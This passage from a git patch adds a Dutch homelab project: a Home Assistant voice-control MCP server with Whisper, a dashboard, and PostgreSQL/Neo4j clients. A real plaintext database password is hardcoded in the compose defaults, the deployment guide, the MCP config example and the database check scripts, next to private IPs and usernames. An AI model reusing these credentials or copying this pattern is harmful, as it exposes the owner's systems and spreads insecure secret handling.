From ff3254cc87fd4050e20df9cab2a8e38c7159412b Mon Sep 17 00:00:00 2001 From: mo Date: Sun, 10 May 2026 02:24:34 +0200 Subject: [PATCH] Initial commit: HA Voice Control MCP server --- .dockerignore | 37 ++ .env.example | 44 ++ .gitignore | 16 + DOCKER_SETUP.md | 81 +++ Dockerfile | 22 + README.md | 238 +++++++++ SYNOLOGY_DEPLOY.md | 75 +++ config.py | 64 +++ docker-compose.yml | 38 ++ mcp_config_example.toml | 25 + requirements-neo4j.txt | 2 + requirements.txt | 27 + scripts/_check_mcp.py | 10 + scripts/_check_mcp2.py | 22 + scripts/_check_mcp3.py | 13 + scripts/_db_check.py | 105 ++++ scripts/_db_check2.py | 94 ++++ scripts/_fix_dupes.py | 29 ++ scripts/_smoke_test.py | 58 +++ scripts/_test2.py | 25 + scripts/_test_all.py | 32 ++ scripts/_test_api.py | 53 ++ scripts/_test_endpoints.py | 32 ++ scripts/_test_mcp.py | 17 + scripts/import_passwords.py | 284 +++++++++++ scripts/import_to_neo4j.py | 82 ++++ scripts/scanner.py | 208 ++++++++ src/__init__.py | 7 + src/dashboard_api.py | 662 +++++++++++++++++++++++++ src/ha_client.py | 117 +++++ src/mcp_server.py | 470 ++++++++++++++++++ src/neo4j_client.py | 277 +++++++++++ src/pg_client.py | 77 +++ src/scan_data.py | 53 ++ src/web_server.py | 280 +++++++++++ src/whisper_client.py | 105 ++++ static/dashboard.html | 950 ++++++++++++++++++++++++++++++++++++ static/index.html | 591 ++++++++++++++++++++++ 38 files changed, 5322 insertions(+) create mode 100644 .dockerignore create mode 100644 .env.example create mode 100644 .gitignore create mode 100644 DOCKER_SETUP.md create mode 100644 Dockerfile create mode 100644 README.md create mode 100644 SYNOLOGY_DEPLOY.md create mode 100644 config.py create mode 100644 docker-compose.yml create mode 100644 mcp_config_example.toml create mode 100644 requirements-neo4j.txt create mode 100644 requirements.txt create mode 100644 scripts/_check_mcp.py create mode 100644 scripts/_check_mcp2.py create mode 100644 scripts/_check_mcp3.py create mode 100644 scripts/_db_check.py create mode 100644 scripts/_db_check2.py create mode 100644 scripts/_fix_dupes.py create mode 100644 scripts/_smoke_test.py create mode 100644 scripts/_test2.py create mode 100644 scripts/_test_all.py create mode 100644 scripts/_test_api.py create mode 100644 scripts/_test_endpoints.py create mode 100644 scripts/_test_mcp.py create mode 100644 scripts/import_passwords.py create mode 100644 scripts/import_to_neo4j.py create mode 100644 scripts/scanner.py create mode 100644 src/__init__.py create mode 100644 src/dashboard_api.py create mode 100644 src/ha_client.py create mode 100644 src/mcp_server.py create mode 100644 src/neo4j_client.py create mode 100644 src/pg_client.py create mode 100644 src/scan_data.py create mode 100644 src/web_server.py create mode 100644 src/whisper_client.py create mode 100644 static/dashboard.html create mode 100644 static/index.html diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..054606a --- /dev/null +++ b/.dockerignore @@ -0,0 +1,37 @@ +# Bestanden die NIET in de Docker image hoeven +# (Dockerfile + docker-compose.yml blijven op de NAS, gaan niet in image) + +# Python cache +__pycache__/ +*.pyc +*.pyo +*.egg-info/ +.mypy_cache/ + +# Lokaal +.env +.git/ + +# Test/tmp bestanden +_test*.py +_db_check*.py +_fix_*.py +_smoke*.py +_check_*.py +*.db +*.wav +*.mp3 +*.log + +# Documentatie en tools (niet nodig in container) +*.md +nginx/ +mcp_config_example.toml +scanner.py +import_to_neo4j.py +import_passwords.py +setup_dbeaver.ps1 +dbeaver-connections-import.json +r.json +resp.json +args.json diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..adab551 --- /dev/null +++ b/.env.example @@ -0,0 +1,44 @@ +# Home Assistant Voice Control — configuratie +# Kopieer dit bestand naar .env en vul je eigen waarden in + +# ── Home Assistant ────────────────────────────────────────────────────────── +# URL van je Home Assistant instantie +HA_URL=http://192.168.1.235:8123 + +# Long-lived access token (aanmaken via HA → Profiel → Beveiliging) +HA_TOKEN=verander_dit_in_jouw_token + +# ── Whisper speech-to-text ────────────────────────────────────────────────── +# "local" = faster-whisper (offline, lokaal) — aanbevolen +# "openai" = OpenAI Whisper API (vereist API key en internet) +WHISPER_MODE=local + +# Model voor lokale modus: tiny, base, small, medium, large-v3 +# "base" is een goede balans voor Nederlands (~145 MB) +WHISPER_MODEL=base + +# Alleen nodig bij WHISPER_MODE=openai +OPENAI_API_KEY= + +# Rekenapparaat: "auto", "cpu", of "cuda" (GPU) +WHISPER_DEVICE=auto + +# ── Web server ────────────────────────────────────────────────────────────── +WEB_HOST=127.0.0.1 +WEB_PORT=8765 + +# CORS origins (komma-gescheiden). "*" = alles toestaan +CORS_ORIGINS=* + +# ── Neo4j graph database ──────────────────────────────────────────────────── +NEO4J_URI=neo4j://192.168.1.211:49153 +NEO4J_USER=neo4j +NEO4J_PASSWORD= + +# ── PostgreSQL ────────────────────────────────────────────────────────────── +PG_HOST=192.168.1.211 +PG_PORT=5433 +PG_USER=mo +PG_PASSWORD= +PG_DATABASE=homelab + diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..049be6f --- /dev/null +++ b/.gitignore @@ -0,0 +1,16 @@ +# Python +__pycache__/ +*.pyc +*.pyo + +# Environment +.env +.env.local + +# IDE +.vscode/ +.idea/ + +# OS +Thumbs.db +.DS_Store diff --git a/DOCKER_SETUP.md b/DOCKER_SETUP.md new file mode 100644 index 0000000..cae1703 --- /dev/null +++ b/DOCKER_SETUP.md @@ -0,0 +1,81 @@ +# DBeaver — Database Connecties voor Homelab + +## PostgreSQL (homelab op Synology NAS) + +**Connection type:** PostgreSQL + +| Instelling | Waarde | +|----------------------|---------------------------------| +| Host | 192.168.1.211 | +| Port | 5433 | +| Database | homelab | +| Username | mo | +| Password | (zie .env bestand) | +| SSL | disable (lokaal netwerk) | + +**Schemas om te bekijken:** +- `dashboard` — favorites, passwords, calendar_events, settings, file_index, photos, widgets + +**DBeaver stappen:** +1. New Database Connection → PostgreSQL +2. Vul bovenstaande gegevens in +3. Test Connection → Finish +4. In Database Navigator: rechtermuis op Tables → Refresh + + +## Neo4j (netwerk graph op Synology NAS) + +**Connection type:** Neo4j (via Bolt) + +| Instelling | Waarde | +|----------------------|---------------------------------| +| URI | neo4j://192.168.1.211:49153 | +| Browser UI | http://192.168.1.211:49154 | +| Username | neo4j | +| Password | (zie .env bestand) | + +**DBeaver stappen (vereist Neo4j JDBC driver):** +1. New Database Connection → Neo4j +2. Vul URI, username, password in +3. Test Connection → Finish +4. Run queries zoals: + ```cypher + MATCH (d:Device) RETURN d.ip, d.hostname, d.os_guess + MATCH (d:Device)-[:HAS_PORT]->(p:Port) RETURN d.ip, p.number, p.service + ``` + + +## Snelle setup via DBeaver CLI / Import + +Je kunt ook deze `.dbeaver-data-sources.json` importeren: + +```json +{ + "folders": {}, + "connections": { + "postgresql-homelab": { + "provider": "postgresql", + "driver": "postgresql-jdbc", + "name": "Homelab PostgreSQL", + "host": "192.168.1.211", + "port": "5433", + "database": "homelab", + "user": "mo", + "savePassword": true, + "configurationType": "MANUAL", + "properties": { + "connectTimeout": "20" + } + }, + "neo4j-homelab": { + "provider": "neo4j", + "driver": "neo4j-jdbc", + "name": "Homelab Neo4j", + "url": "neo4j://192.168.1.211:49153", + "user": "neo4j", + "savePassword": true, + "configurationType": "MANUAL" + } + } +} +``` diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..23d98a9 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,22 @@ +# Dockerfile — HA Voice Control + Dashboard voor Synology NAS +FROM python:3.12-slim + +WORKDIR /app + +# Systeem dependencies (ffmpeg nodig voor Whisper audio) +RUN apt-get update && apt-get install -y --no-install-recommends \ + libsndfile1 \ + ffmpeg \ + && rm -rf /var/lib/apt/lists/* + +# Python dependencies (twee losse stappen = betere caching) +COPY requirements.txt requirements-neo4j.txt ./ +RUN pip install --no-cache-dir -r requirements.txt -r requirements-neo4j.txt + +# Applicatiecode +COPY config.py . +COPY src/ ./src/ +COPY static/ ./static/ + +EXPOSE 8765 +CMD ["python", "-m", "src.web_server"] diff --git a/README.md b/README.md new file mode 100644 index 0000000..f591bfa --- /dev/null +++ b/README.md @@ -0,0 +1,238 @@ +# HA Voice Control — MCP Server + Webinterface + +Spraakgestuurde Home Assistant bediening via Whisper voice-to-text. +Druk op een knop, spreek je commando, en stuur je smarthome aan. + +## Architectuur + +``` +┌──────────────┐ ┌──────────────────┐ ┌─────────────────┐ +│ Browser │────▶│ nginx (SSL) │────▶│ FastAPI │ +│ (microfoon) │ │ ha.el-kadi.nl │ │ :8765 │ +└──────────────┘ └──────────────────┘ │ │ + │ ┌─────────────┐ │ +┌──────────────┐ │ │ Whisper │ │ +│ Claude / │──▶ MCP stdio ───────────────▶│ │ (spraak→tekst)│ │ +│ DeepSeek │ │ └─────────────┘ │ +└──────────────┘ │ ┌─────────────┐ │ + │ │ HA REST API │ │ + │ │ 192.168... │ │ + │ └─────────────┘ │ + └──────────────────┘ +``` + +Twee interfaces: +1. **Web UI** op `www.ha.el-kadi.nl` — push-to-talk knop in de browser +2. **MCP Server** — via Claude Desktop / DeepSeek TUI (stdio) + +Beide gebruiken dezelfde Whisper-transcriptie en Home Assistant client. + +## Vereisten + +- Python 3.10+ +- Home Assistant met een [long-lived access token](https://www.home-assistant.io/docs/authentication/#your-account-profile) +- nginx (voor SSL en domein) +- Een domein (hier: `ha.el-kadi.nl`) met DNS die naar jouw server wijst +- Optioneel: CUDA-compatibele GPU voor snellere lokale Whisper + +## Installatie + +### 1. Clone en installeer dependencies + +```bash +cd /opt # of een andere gewenste locatie +git clone ha-voice-control +cd ha-voice-control +python -m venv venv +source venv/bin/activate # Windows: venv\Scripts\activate +pip install -r requirements.txt +``` + +### 2. Configuratie + +Kopieer het voorbeeld en vul je gegevens in: + +```bash +cp .env.example .env +``` + +Bewerk `.env`: + +```env +# Home Assistant +HA_URL=http://192.168.1.235:8123 +HA_TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... + +# Whisper: "local" (faster-whisper, offline) of "openai" (API) +WHISPER_MODE=local +WHISPER_MODEL=base + +# Web server +WEB_HOST=127.0.0.1 +WEB_PORT=8765 +``` + +De Home Assistant token maak je aan via: +**Home Assistant → Profiel (linksonder) → Beveiliging → Lange-levensduur toegangstokens** + +### 3. Eerste keer Whisper model downloaden + +Bij de eerste start met `WHISPER_MODE=local` downloadt faster-whisper automatisch het model. +Beschikbare modellen (oplopend in grootte/nauwkeurigheid): +- `tiny` / `tiny.en` — ~75 MB, snelste +- `base` / `base.en` — ~145 MB, aanbevolen voor NL +- `small` / `small.en` — ~488 MB +- `medium` / `medium.en` — ~1.5 GB +- `large-v3` — ~3 GB, meest accuraat + +`.en` varianten zijn alleen voor Engels. Voor Nederlands gebruik je de meertalige versies. + +### 4. Start de web server + +```bash +source venv/bin/activate +python -m src.web_server +# Of direct met uvicorn: +uvicorn src.web_server:app --host 127.0.0.1 --port 8765 +``` + +Test of het werkt: `curl http://127.0.0.1:8765/api/health` + +### 5. nginx + SSL configureren + +```bash +# Kopieer de nginx config +sudo cp nginx/ha.el-kadi.nl.conf /etc/nginx/sites-available/ +sudo ln -s /etc/nginx/sites-available/ha.el-kadi.nl.conf /etc/nginx/sites-enabled/ + +# SSL certificaten met Let's Encrypt (certbot) +sudo certbot --nginx -d ha.el-kadi.nl -d www.ha.el-kadi.nl + +# Pas de ssl_certificate paden aan in de config indien nodig +# Herlaad nginx +sudo nginx -t && sudo systemctl reload nginx +``` + +### 6. Systemd service (zodat de server automatisch start) + +Maak `/etc/systemd/system/ha-voice-control.service`: + +```ini +[Unit] +Description=HA Voice Control Web Server +After=network.target + +[Service] +Type=simple +User=www-data +WorkingDirectory=/opt/ha-voice-control +EnvironmentFile=/opt/ha-voice-control/.env +ExecStart=/opt/ha-voice-control/venv/bin/python -m src.web_server +Restart=always +RestartSec=5 + +[Install] +WantedBy=multi-user.target +``` + +```bash +sudo systemctl daemon-reload +sudo systemctl enable --now ha-voice-control +``` + +## MCP Server gebruiken + +### Claude Desktop + +Voeg toe aan je `claude_desktop_config.json`: + +```json +{ + "mcpServers": { + "ha-voice": { + "command": "python", + "args": ["-m", "src.mcp_server"], + "cwd": "/opt/ha-voice-control", + "env": { + "HA_TOKEN": "jouw-token-hier", + "WHISPER_MODE": "local" + } + } + } +} +``` + +### DeepSeek TUI + +In je `config.toml`: + +```toml +[[mcp_servers]] +name = "ha-voice" +command = "python" +args = ["-m", "src.mcp_server"] +cwd = "/opt/ha-voice-control" +env = { HA_TOKEN = "jouw-token-hier", WHISPER_MODE = "local" } +``` + +### Beschikbare MCP tools + +| Tool | Beschrijving | +|------|-------------| +| `speak_command` | Base64 audio → transcribeer → voer uit via HA | +| `transcribe_audio` | Alleen transcriberen, geen actie | +| `send_text_command` | Stuur tekst naar HA conversation agent | +| `list_lights` | Toon alle lampen en hun status | +| `control_light` | Zet een lamp aan/uit/toggle met helderheid | +| `list_all_entities` | Toon alle HA entities | +| `get_entity_state` | State van één entity opvragen | +| `call_ha_service` | Roep een willekeurige HA service aan | + +## API endpoints (web server) + +| Methode | Pad | Beschrijving | +|---------|-----|-------------| +| `GET` | `/api/health` | Health check | +| `POST` | `/api/transcribe` | Upload audio (multipart), krijg transcriptie + HA resultaat | +| `POST` | `/api/command` | `{"text": "doe de lampen uit"}` → HA | +| `GET` | `/api/lights` | Alle lampen met status | +| `POST` | `/api/light/control` | `{"entity_id": "...", "action": "turn_on"}` | +| `GET` | `/api/entities?domain=light` | Entities (optioneel gefilterd) | +| `GET` | `/api/entity/{entity_id}` | Volledige state van één entity | +| `POST` | `/api/service` | `{"domain": "light", "service": "turn_on", "entity_id": "..."}` | + +## Gebruik + +1. Open `https://www.ha.el-kadi.nl` in je browser (Chrome/Edge/Safari op desktop of mobiel) +2. Geef de browser toestemming voor de microfoon +3. Houd de microfoonknop ingedrukt en spreek je commando: + - "Doe de lampen in de woonkamer aan" + - "Zet alle lichten uit" + - "Dim de slaapkamer naar 50 procent" +4. Laat de knop los — je commando wordt getranscribeerd en uitgevoerd +5. Je ziet het resultaat verschijnen + +De lampen onderaan de pagina kun je ook direct met de toggle-schakelaars bedienen. + +## Troubleshooting + +**"Microfoon niet beschikbaar"** +- De site moet via HTTPS geladen worden (browsers vereisen dit voor `getUserMedia`) +- Controleer of nginx SSL correct is ingesteld +- Lokaal testen op `localhost` werkt ook zonder HTTPS + +**Transcriptie werkt niet / foutmelding** +- Check of `faster-whisper` correct is geïnstalleerd: `pip list | grep faster` +- Controleer de logs: `journalctl -u ha-voice-control -f` +- Bij Open AI-modus: check of `OPENAI_API_KEY` is ingesteld +- Het model wordt de eerste keer gedownload; dit kan even duren + +**"Fout bij uitvoeren" / Home Assistant niet bereikbaar** +- Controleer of `HA_URL` klopt en bereikbaar is vanaf de server +- Verifieer de token: `curl -H "Authorization: Bearer $HA_TOKEN" $HA_URL/api/` +- Check of de conversation agent in HA is ingeschakeld (Standaard is `conversation` integratie actief) + +**Audio wordt niet goed herkend** +- Gebruik een groter Whisper-model (`small` of `medium`) voor betere NL herkenning +- Spreek duidelijk en dicht bij de microfoon +- Verminder achtergrondgeluid diff --git a/SYNOLOGY_DEPLOY.md b/SYNOLOGY_DEPLOY.md new file mode 100644 index 0000000..c590fc5 --- /dev/null +++ b/SYNOLOGY_DEPLOY.md @@ -0,0 +1,75 @@ +# Deployen op Synology NAS + +## Stap 1: Code naar je NAS kopiëren + +```bash +# Vanaf je Windows machine: +scp -r C:\Users\moel-\Desktop\dev\mcp mo@192.168.1.211:/volume1/docker/ha-voice-control/ +# Of via SMB: \\192.168.1.211\docker\ha-voice-control\ +``` + +Je hebt deze bestanden nodig op de NAS: +- `Dockerfile`, `docker-compose.yml`, `.dockerignore` +- `config.py`, `requirements.txt`, `requirements-neo4j.txt` +- `src/` (volledige map) +- `static/` (volledige map) + +## Stap 2: .env aanmaken op de NAS + +```bash +ssh mo@192.168.1.211 +cd /volume1/docker/ha-voice-control +nano .env +``` + +Inhoud van `.env`: +```env +HA_TOKEN=jouw-home-assistant-token +PG_PASSWORD=WaQTUw2t +NEO4J_PASSWORD=WaQTUw2t +``` + +## Stap 3: Bouwen en starten + +```bash +cd /volume1/docker/ha-voice-control + +# Bouw de image (duurt ~5 min eerste keer) +docker-compose build + +# Start de container +docker-compose up -d + +# Check logs +docker-compose logs -f +``` + +## Stap 4: Testen + +```bash +curl http://localhost:8765/api/health +curl http://localhost:8765/api/dashboard/overview +``` + +Dashboard: `http://192.168.1.211:8765/dashboard` +Voice Control: `http://192.168.1.211:8765` + +## Optioneel: achter nginx/reverse proxy + +Als je de interface via je bestaande domein (`ha.el-kadi.nl`) wilt: +- Voeg een proxy_pass toe in je nginx config naar `http://localhost:8765` + +## Whisper model aanpassen + +In `docker-compose.yml`, pas `WHISPER_MODEL` aan: +- `tiny` (~75MB) — snelste, voor simpele commando's +- `base` (~145MB) — aanbevolen voor Nederlands +- `small` (~488MB) — betere herkenning, trager op NAS CPU + +## Container Manager (DSM UI) + +Als je DSM's Container Manager gebruikt i.p.v. CLI: +1. Open Container Manager → Project → Create +2. Project name: `ha-voice-control` +3. Selecteer `/volume1/docker/ha-voice-control/docker-compose.yml` +4. Klik Next → Done diff --git a/config.py b/config.py new file mode 100644 index 0000000..1d2fa1a --- /dev/null +++ b/config.py @@ -0,0 +1,64 @@ +""" +Configuratie voor de MCP Home Assistant Voice Control applicatie. +Alle instellingen kunnen worden overschreven via omgevingsvariabelen. +""" + +import os +from pathlib import Path + +# Laad .env bestand als python-dotenv beschikbaar is +try: + from dotenv import load_dotenv + _env_path = Path(__file__).resolve().parent / ".env" + if _env_path.exists(): + load_dotenv(_env_path) +except ImportError: + pass + +# ── Home Assistant ────────────────────────────────────────────────────────── + +HA_URL = os.getenv("HA_URL", "http://192.168.1.235:8123") +HA_TOKEN = os.getenv("HA_TOKEN", "") + +# ── Whisper transcriptie ──────────────────────────────────────────────────── + +# "local" gebruikt faster-whisper (offline, CPU/GPU) +# "openai" gebruikt de OpenAI API (sneller, maar vereist API key) +WHISPER_MODE = os.getenv("WHISPER_MODE", "local") + +# Model voor lokale modus: tiny, tiny.en, base, base.en, small, small.en, +# medium, medium.en, large-v3. "base" is een goede balans. +WHISPER_MODEL = os.getenv("WHISPER_MODEL", "base") + +# Alleen nodig als WHISPER_MODE="openai" +OPENAI_API_KEY = os.getenv("OPENAI_API_KEY", "") + +# Rekenapparaat voor faster-whisper: "auto", "cpu", "cuda" +WHISPER_DEVICE = os.getenv("WHISPER_DEVICE", "auto") + +# ── Web server ────────────────────────────────────────────────────────────── + +WEB_HOST = os.getenv("WEB_HOST", "127.0.0.1") +WEB_PORT = int(os.getenv("WEB_PORT", "8765")) + +# CORS origins toegestaan (voor externe frontend hosting) +CORS_ORIGINS = os.getenv("CORS_ORIGINS", "*").split(",") + +# ── Neo4j graph database ──────────────────────────────────────────────────── + +NEO4J_URI = os.getenv("NEO4J_URI", "neo4j://192.168.1.211:49153") +NEO4J_USER = os.getenv("NEO4J_USER", "neo4j") +NEO4J_PASSWORD = os.getenv("NEO4J_PASSWORD", "") + +# ── PostgreSQL ────────────────────────────────────────────────────────────── + +PG_HOST = os.getenv("PG_HOST", "192.168.1.211") +PG_PORT = int(os.getenv("PG_PORT", "5433")) +PG_USER = os.getenv("PG_USER", "mo") +PG_PASSWORD = os.getenv("PG_PASSWORD", "") +PG_DATABASE = os.getenv("PG_DATABASE", "homelab") + +# ── Paden ─────────────────────────────────────────────────────────────────── + +PROJECT_ROOT = Path(__file__).resolve().parent +STATIC_DIR = PROJECT_ROOT / "static" diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..818b2ed --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,38 @@ +# docker-compose.yml — HA Voice Control voor Synology NAS +# Plaats op je NAS: /volume1/docker/ha-voice-control/ +# +# Bouwen & starten: docker-compose up -d --build +# Stoppen: docker-compose down +# Logs: docker-compose logs -f + +services: + ha-voice-control: + build: . + container_name: ha-voice-control + restart: unless-stopped + + network_mode: host # directe toegang tot PostgreSQL + Neo4j op de NAS + + environment: + - HA_URL=http://192.168.1.235:8123 + - HA_TOKEN=${HA_TOKEN:-} + - WHISPER_MODE=local + - WHISPER_MODEL=tiny + - WHISPER_DEVICE=cpu + - WEB_HOST=0.0.0.0 + - WEB_PORT=8765 + - CORS_ORIGINS=* + - PG_HOST=localhost + - PG_PORT=5433 + - PG_USER=mo + - PG_PASSWORD=${PG_PASSWORD:-WaQTUw2t} + - PG_DATABASE=homelab + - NEO4J_URI=neo4j://localhost:49153 + - NEO4J_USER=neo4j + - NEO4J_PASSWORD=${NEO4J_PASSWORD:-WaQTUw2t} + + volumes: + - whisper-cache:/root/.cache/huggingface + +volumes: + whisper-cache: diff --git a/mcp_config_example.toml b/mcp_config_example.toml new file mode 100644 index 0000000..8a39a54 --- /dev/null +++ b/mcp_config_example.toml @@ -0,0 +1,25 @@ +# DeepSeek TUI — MCP Server Configuratie voor HA Voice Control + +# Plaats dit in je DeepSeek TUI config.toml (meestal ~/.deepseek/config.toml): + +[[mcp_servers]] +name = "ha-voice-control" +command = "python" +args = ["-m", "src.mcp_server"] +cwd = "C:\\Users\\moel-\\Desktop\\dev\\mcp" +env = { HA_TOKEN = "", WHISPER_MODE = "local", NEO4J_PASSWORD = "WaQTUw2t", PG_PASSWORD = "WaQTUw2t" } + +# ── Optioneel: auto-start netwerk context injectie ──────────────────────── +# DeepSeek TUI zal de MCP tools automatisch zien. +# Roep `get_network_context` aan voor een volledig netwerkoverzicht als RAG context. +# +# Tools beschikbaar: +# get_network_context — Volledige netwerk/homelab context (RAG) +# query_network — Zoekopdrachten in Neo4j netwerk DB +# list_lights — HA lampen status +# control_light — Lamp aan/uit/dim +# send_text_command — Stuur NL commando naar HA +# speak_command — Spraak → transcriptie → HA +# list_all_entities — Alle HA entities +# get_entity_state — State van één entity +# call_ha_service — Willekeurige HA service diff --git a/requirements-neo4j.txt b/requirements-neo4j.txt new file mode 100644 index 0000000..a6aaa4f --- /dev/null +++ b/requirements-neo4j.txt @@ -0,0 +1,2 @@ +# Neo4j graph database driver +neo4j>=5.20.0 diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..058f7a7 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,27 @@ +# MCP protocol +mcp>=1.0.0 + +# Web server + API +fastapi>=0.110.0 +uvicorn[standard]>=0.29.0 +python-multipart>=0.0.9 +aiofiles>=23.0.0 + +# HTTP client (Home Assistant API) +httpx>=0.27.0 + +# Whisper speech-to-text (lokale modus) +faster-whisper>=1.0.0 + +# OpenAI API (optioneel, voor API-gebaseerde whisper) +openai>=1.0.0 + +# Database clients +psycopg2-binary>=2.9.0 + +# Configuratie & data validatie +pydantic>=2.0.0 +pydantic-settings>=2.0.0 + +# .env bestand laden +python-dotenv>=1.0.0 diff --git a/scripts/_check_mcp.py b/scripts/_check_mcp.py new file mode 100644 index 0000000..894c067 --- /dev/null +++ b/scripts/_check_mcp.py @@ -0,0 +1,10 @@ +from mcp.server import Server +s = Server("test") +# Check for tool registration methods +methods = [m for m in dir(s) if 'tool' in m.lower()] +print("Tool-related methods:", methods) +# Check type +print("Type:", type(s)) +# Check available decorators/functions +all_attrs = [m for m in dir(s) if not m.startswith('_')] +print("Public attrs:", all_attrs[:30]) diff --git a/scripts/_check_mcp2.py b/scripts/_check_mcp2.py new file mode 100644 index 0000000..f963c08 --- /dev/null +++ b/scripts/_check_mcp2.py @@ -0,0 +1,22 @@ +from mcp.server import Server +from mcp.types import Tool +import inspect + +s = Server("test") + +# Check if list_tools is a decorator or a method to override +print("list_tools signature:", inspect.signature(s.list_tools)) +print("call_tool signature:", inspect.signature(s.call_tool)) + +# Check if there's a decorator pattern +import mcp.server +print("\nmcp.server module contents:") +for name in dir(mcp.server): + if not name.startswith('_'): + print(f" {name}") + +# Check mcp.server.lowlevel +import mcp.server.lowlevel.server as ll +for name in dir(ll): + if 'tool' in name.lower(): + print(f" lowlevel: {name}") diff --git a/scripts/_check_mcp3.py b/scripts/_check_mcp3.py new file mode 100644 index 0000000..91bf11d --- /dev/null +++ b/scripts/_check_mcp3.py @@ -0,0 +1,13 @@ +from mcp.server import FastMCP +import inspect + +# Check FastMCP API +print("FastMCP methods with 'tool':") +for name in dir(FastMCP): + if 'tool' in name.lower(): + print(f" {name}") + +# Check if it has a tool decorator +if hasattr(FastMCP, 'tool'): + print("\nFastMCP.tool is a decorator!") + print(inspect.signature(FastMCP.tool)) diff --git a/scripts/_db_check.py b/scripts/_db_check.py new file mode 100644 index 0000000..982f400 --- /dev/null +++ b/scripts/_db_check.py @@ -0,0 +1,105 @@ +"""Database verkenning: PostgreSQL + Neo4j""" +import os, sys +os.environ["PG_HOST"] = "192.168.1.211" +os.environ["PG_PORT"] = "5433" +os.environ["PG_USER"] = "mo" +os.environ["PG_PASSWORD"] = "WaQTUw2t" +os.environ["PG_DATABASE"] = "homelab" +os.environ["NEO4J_URI"] = "neo4j://192.168.1.211:49153" +os.environ["NEO4J_USER"] = "neo4j" +os.environ["NEO4J_PASSWORD"] = "WaQTUw2t" + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +print("=" * 70) +print("POSTGRESQL VERKENNING") +print("=" * 70) + +try: + from src.pg_client import query + + # Alle schemas + print("\n--- Schemas ---") + schemas = query("SELECT schema_name FROM information_schema.schemata ORDER BY schema_name") + for s in schemas: + print(f" {s['schema_name']}") + + # Alle tabellen + print("\n--- Tabellen ---") + tables = query(""" + SELECT table_schema, table_name + FROM information_schema.tables + WHERE table_type = 'BASE TABLE' + ORDER BY table_schema, table_name + """) + for t in tables: + print(f" {t['table_schema']}.{t['table_name']}") + + # Per tabel details + sample data + for t in tables: + schema = t['table_schema'] + name = t['table_name'] + full = f"{schema}.{name}" + + cols = query(""" + SELECT column_name, data_type + FROM information_schema.columns + WHERE table_schema = %s AND table_name = %s + ORDER BY ordinal_position + """, (schema, name)) + + try: + count = query(f"SELECT count(*) as cnt FROM {full}", fetch="one") + cnt = count['cnt'] + except Exception as e: + cnt = f"ERR: {e}" + + print(f"\n [{cnt} rows] {full}") + col_names = [c['column_name'] for c in cols] + print(f" Kolommen: {', '.join(col_names)}") + + # Sample data (max 5 rijen) + if isinstance(cnt, int) and cnt > 0: + try: + rows = query(f"SELECT * FROM {full} LIMIT 5") + for i, row in enumerate(rows): + print(f" Row {i+1}: {dict(row)}") + except Exception as e: + print(f" Sample fout: {e}") + +except Exception as e: + print(f"PostgreSQL FOUT: {e}") + import traceback + traceback.print_exc() + +print("\n" + "=" * 70) +print("NEO4J VERKENNING") +print("=" * 70) + +try: + from src.neo4j_client import get_driver, get_all_devices, get_scan_history, get_network_summary, close + + devices = get_all_devices() + print(f"\nDevices: {len(devices)}") + for d in devices: + ports = [p.get('port') for p in (d.get('ports') or []) if p and p.get('port')] + print(f" {d['ip']:<16} {d.get('hostname','')[:30]:<30} {d.get('os_guess','')[:25]:<25} ports={ports}") + + print(f"\n--- Scan History ---") + scans = get_scan_history() + for s in scans: + print(f" {s}") + + print(f"\n--- Summary ---") + summary = get_network_summary() + print(f" {summary}") + + close() + print("\nNeo4j: OK") + +except Exception as e: + print(f"Neo4j FOUT: {e}") + import traceback + traceback.print_exc() + +print("\nDONE.") diff --git a/scripts/_db_check2.py b/scripts/_db_check2.py new file mode 100644 index 0000000..6fb8743 --- /dev/null +++ b/scripts/_db_check2.py @@ -0,0 +1,94 @@ +"""Gerichte database check: dashboard data + Neo4j""" +import os, sys, json +os.environ["PG_HOST"] = "192.168.1.211" +os.environ["PG_PORT"] = "5433" +os.environ["PG_USER"] = "mo" +os.environ["PG_PASSWORD"] = "WaQTUw2t" +os.environ["PG_DATABASE"] = "homelab" +os.environ["NEO4J_URI"] = "neo4j://192.168.1.211:49153" +os.environ["NEO4J_USER"] = "neo4j" +os.environ["NEO4J_PASSWORD"] = "WaQTUw2t" + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +# Fix encoding +sys.stdout.reconfigure(encoding='utf-8') + +print("=" * 70) +print("DASHBOARD DATA (PostgreSQL)") +print("=" * 70) + +from src.pg_client import query + +# Favorites +print("\n--- FAVORITES (20 rows) ---") +rows = query("SELECT id, title, url, icon, category, sort_order, is_pinned FROM dashboard.favorites ORDER BY is_pinned DESC, sort_order") +for r in rows: + pinned = "📌" if r['is_pinned'] else " " + print(f" {pinned} [{r['id']}] {r['title']:<30} | {r['url']:<45} | {r['category']}") + +# Settings +print("\n--- SETTINGS (5 rows) ---") +rows = query("SELECT * FROM dashboard.settings ORDER BY key") +for r in rows: + print(f" {r['key']:<25} = {r['value']}") + +# Passwords +print("\n--- PASSWORDS ---") +rows = query("SELECT count(*) as c FROM dashboard.passwords", fetch="one") +print(f" Count: {rows['c']}") + +# Calendar +print("\n--- CALENDAR ---") +rows = query("SELECT count(*) as c FROM dashboard.calendar_events", fetch="one") +print(f" Count: {rows['c']}") + +# Files +print("\n--- FILE INDEX ---") +rows = query("SELECT count(*) as c FROM dashboard.file_index", fetch="one") +print(f" Count: {rows['c']}") + +# Photos +print("\n--- PHOTOS ---") +rows = query("SELECT count(*) as c FROM dashboard.photos", fetch="one") +print(f" Count: {rows['c']}") + +# Widgets +print("\n--- WIDGETS ---") +rows = query("SELECT count(*) as c FROM dashboard.dashboard_widgets", fetch="one") +print(f" Count: {rows['c']}") + +# ── NEO4J ────────────────────────────────────────────────────── +print("\n" + "=" * 70) +print("NEO4J NETWERK DATA") +print("=" * 70) + +from src.neo4j_client import get_driver, get_all_devices, get_scan_history, get_network_summary, close + +try: + devices = get_all_devices() + print(f"\nDevices: {len(devices)}") + for d in devices: 